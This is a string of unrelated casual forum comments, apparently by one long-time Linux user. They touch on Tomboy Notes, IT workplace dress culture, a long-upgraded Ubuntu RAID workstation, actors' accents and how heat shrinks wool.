Don’t feed the trolls.

I’m pretty sure everyone here understands both sides of the argument, but just don’t concider it important enough to change their vocabulary.

But hunger is real.

Tell me your secret.

I still use Tomboy Notes synced with Nextcloud & Dropbox. It’s ancient, but I’ve never come across anything else that does these things:

• temporary sticky notes.
• permanent sticky notes.
• glorified clipboard buffer.
• personal wiki.
• light weight (no browser, database, or network required).
• one small window per note.
• optional categorization into notebooks.
• desktop pkeyboard shortcut for searching notes or opening new ones.

I really hate web based notes. I want small quick responsive windows beside my browser.

I’ve been running Linux as my primary OS since the late 90s and have never run into this problem.

Don’t feed the trolls.

If you want to scream, try wifi drivers on BSD!

In the early 90s at the dawn of my programing/sysadmin career. I showed up to my first week of work at “Initech” in dress pants, shirt, and tie. The senior gray beard UNIX sysadmin wore wholey jeans and ratty t-shirts. I don’t recall whether he sat me down and told me, or I figured it out on my own that to be taken seriously in a technical field you must dress down. Brilliant people look disheveled (see Albert Einstein, Steve Wozniak, et al). I ditched the stupid tie & began dressing more comfortably.

Anthropologists call this antagonistic aculturation. Us IT geeks intentionally set our selves apart from the business drones & we had to exercise our privilege of dressing comfortabley while working ungodly hours to solve impossible problems.

Now I’m the gray beard and I’ve mentoed the brighter of the pimple faced youths I’ve hired in the ancient customs of our tribe. Looking back, It seems that IT’s greatest influence on business has not been the increased efficiency of the paperless office, but the casual attire that most office workers now enjoy.

You’re welcome, world.

I installed ubuntu on my workstation in 2013 and have upgraded the OS since. I’ve swapped out the motherboard and added 5 drives in raid6. The thing morphed from a desktop into a server over the years. The only original HW is the case (power supply died a few years ago). I never really concidered wiping & installing a new OS.

On my phone both lines are the same color.

Mines? No, they are needed for the “special military operation”.

Putin seems to be in a competition with Trump for the stupidest authoritarian prize.

I wouldn’t mix 5400 rpm drives with 7200 rpm drives, but if the rpm & sizes are the same, there won’t be any measurable performance loss.

Actors usually pay for professional dialect coaching. Before the practice became common place it was amusing to watch British actors play Americans using terrible accents. I know it applies the other way around, but I’d have a harder time noticing it.

Please don’t put the punchline in the title.

The combination of heat and agitation are needed to shrink fabric (especially wool). Heat makes the normally kinky, twisty, grippy fibers more flexible and looser. Agitation allows the loose fibers to reach other fibers farther away and grab onto them as they cool, pulling them closer, thus shrinking the fabric.

Heat and very careful stretching can somewhat restore the original size, but restoring the shape is harder.

I don’t know why you’re being down voted. I’m I’m on of the cyclist with a huge ass-belly.
